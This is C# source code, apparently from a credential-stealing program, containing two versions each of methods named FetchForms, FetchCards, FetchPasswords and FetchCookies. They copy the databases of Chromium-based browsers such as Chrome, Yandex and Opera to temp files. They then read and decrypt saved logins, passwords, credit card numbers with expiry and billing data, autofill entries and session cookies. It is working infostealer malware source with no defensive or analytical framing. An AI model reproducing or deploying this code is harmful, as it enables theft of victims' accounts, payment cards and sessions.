private static List <FormData> FetchForms(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <FormData> list = new List <FormData>(); handler.ReadTable("autofill"); if (handler.GetRowCount() == 0x10000) { return(null); } int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { FormData item = new FormData { Name = handler.GetValue(rowNum, 0), Value = handler.GetValue(rowNum, 1) }; list.Add(item); } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <CardData> FetchCards(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <CardData> list = new List <CardData>(); handler.ReadTable("credit_cards"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str2 = string.Empty; try { str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 4)), null)); } catch (Exception) { } if (str2 != "") { CardData item = new CardData { Name = handler.GetValue(rowNum, 1), Exp_m = handler.GetValue(rowNum, 2), Exp_y = handler.GetValue(rowNum, 3), Number = str2, Billing = handler.GetValue(rowNum, 9) }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <PassData> FetchPasswords(string basePath) { if (!File.Exists(basePath)) { return(null); } string str = ""; if (basePath.Contains("Chrome")) { str = "Google Chrome"; } if (basePath.Contains("Yandex")) { str = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str = "Opera Browser"; } if (basePath.Contains("Amigo")) { str = "Amigo Browser"; } if (basePath.Contains("Torch")) { str = "Torch Browser"; } if (basePath.Contains("Comodo")) { str = "Comodo Browser"; } try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <PassData> list = new List <PassData>(); handler.ReadTable("logins"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str3 = string.Empty; try { str3 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 5)), null)); } catch (Exception) { } if (str3 != "") { PassData item = new PassData { Url = handler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""), Login = handler.GetValue(rowNum, 3), Password = str3, Program = str }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <CookieData> FetchCookies(string basePath) { if (!File.Exists(basePath)) { return(null); } basePath.Contains("Chrome"); basePath.Contains("Yandex"); basePath.Contains("Orbitum"); basePath.Contains("Opera"); basePath.Contains("Amigo"); basePath.Contains("Torch"); basePath.Contains("Comodo"); try { string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(path)) { File.Delete(path); } File.Copy(basePath, path, true); SqlHandler handler = new SqlHandler(path); List <CookieData> list = new List <CookieData>(); handler.ReadTable("cookies"); int rowNum = 0; while (true) { if (rowNum >= handler.GetRowCount()) { break; } try { string str2 = string.Empty; try { str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 12)), null)); } catch (Exception) { } if (str2 != "") { CookieData item = new CookieData { host_key = handler.GetValue(rowNum, 1), name = handler.GetValue(rowNum, 2), path = handler.GetValue(rowNum, 4), expires_utc = handler.GetValue(rowNum, 5), secure = handler.GetValue(rowNum, 6), value = str2 }; list.Add(item); } } catch (Exception) { } rowNum++; } File.Delete(path); return(list); } catch (Exception) { return(null); } }
private static List <FormData> FetchForms(string basePath) { if (!File.Exists(basePath)) { return((List <FormData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <FormData> formDataList = new List <FormData>(); sqlHandler.ReadTable("autofill"); if (sqlHandler.GetRowCount() == 65536) { return((List <FormData>)null); } for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { formDataList.Add(new FormData() { Name = sqlHandler.GetValue(rowNum, 0), Value = sqlHandler.GetValue(rowNum, 1) }); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(formDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <FormData>)null); } }
private static List <CardData> FetchCards(string basePath) { if (!File.Exists(basePath)) { return((List <CardData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <CardData> cardDataList = new List <CardData>(); sqlHandler.ReadTable("credit_cards"); /* * if (sqlHandler.GetRowCount() == 65536) * return (List<CardData>)null;*/ for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)), (byte[])null)); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } if (empty != "") { cardDataList.Add(new CardData() { Name = sqlHandler.GetValue(rowNum, 1), Exp_m = sqlHandler.GetValue(rowNum, 2), Exp_y = sqlHandler.GetValue(rowNum, 3), Number = empty, Billing = sqlHandler.GetValue(rowNum, 9) }); } } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cardDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <CardData>)null); } }
private static List <CookieData> FetchCookies(string basePath) { if (!File.Exists(basePath)) { return((List <CookieData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); /*if (sqlHandler.GetRowCount() == 65536) * return (List<CookieData>)null;*/ List <CookieData> cookieDataList = new List <CookieData>(); sqlHandler.ReadTable("cookies"); for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 12)), (byte[])null)); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } if (empty != "") { cookieDataList.Add(new CookieData() { host_key = sqlHandler.GetValue(rowNum, 1), name = sqlHandler.GetValue(rowNum, 2), path = sqlHandler.GetValue(rowNum, 4), expires_utc = sqlHandler.GetValue(rowNum, 5), secure = sqlHandler.GetValue(rowNum, 6), value = empty, }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cookieDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return((List <CookieData>)null); } }
private static List <PassData> FetchPasswords(string basePath) { if (!File.Exists(basePath)) { return((List <PassData>)null); } string str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); SqlHandler sqlHandler = new SqlHandler(str2); List <PassData> passDataList = new List <PassData>(); sqlHandler.ReadTable("logins"); for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { string empty = string.Empty; try { empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 5)), (byte[])null)); } catch (Exception ex) { } if (empty != "") { passDataList.Add(new PassData() { Url = sqlHandler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""), Login = sqlHandler.GetValue(rowNum, 3), Password = empty, Program = str1 }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(passDataList); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); return((List <PassData>)null); } }